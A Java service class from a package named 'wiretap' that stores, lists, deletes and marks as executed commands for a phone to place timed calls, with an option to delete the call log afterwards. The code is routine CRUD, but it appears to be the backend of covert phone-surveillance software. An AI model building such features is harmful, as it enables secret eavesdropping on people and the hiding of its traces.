package com.wiretap.service.impl;

import java.util.Date;

import com.wiretap.dao.RemoteCallDao;
import com.wiretap.po.RemoteCall;
import com.wiretap.service.RemoteCallService;
import com.wiretap.util.CommenUtil;
import com.wiretap.util.Pager;

public class RemoteCallServiceImpl implements RemoteCallService {
	private RemoteCallDao remoteCallDao;

	@Override
	public Pager<RemoteCall> getContactRemoteCall(String ownerPhone, int currentPage, int pageSize) throws Exception {
		return remoteCallDao.getUserRemoteCall(ownerPhone, currentPage, pageSize);
	}

	@Override
	public boolean deleteRemoteCall(String idStr) throws Exception {
		if (CommenUtil.isEmpty(idStr))
			return false;
		String[] idArray = idStr.split(",");
		if (idArray == null || idArray.length < 1)
			return false;
		for (int i = 0; i < idArray.length; i++) {
			Long id = Long.parseLong(idArray[i]);
			remoteCallDao.deleteRemoteCall(id);
		}
		return true;
	}

	@Override
	public void setRemoteSmsExecuted(String idStr) throws Exception {
		if (CommenUtil.isEmpty(idStr))
			return;
		String[] ids = idStr.split(",");
		if (ids != null && ids.length > 0) {
			Long[] idArray = new Long[ids.length];
			for (int i = 0; i < ids.length; i++) {
				idArray[i] = Long.parseLong(ids[i]);
			}
			remoteCallDao.updateRemoteCallExecutedStatus(idArray, true);
		}
	}

	@Override
	public void addRemoteCall(String phone, String callNumber, boolean deleteAfter, Date callAfter, long duration) throws Exception {
		RemoteCall call = new RemoteCall();
		call.setCallAfter(callAfter);
		call.setCallNumber(callNumber);
		call.setDeleteCallLog(deleteAfter);
		call.setDuration(duration);
		call.setOwnerPhone(phone);
		remoteCallDao.addRemoteCall(call);
	}

	public void setRemoteCallDao(RemoteCallDao remoteCallDao) {
		this.remoteCallDao = remoteCallDao;
	}

}
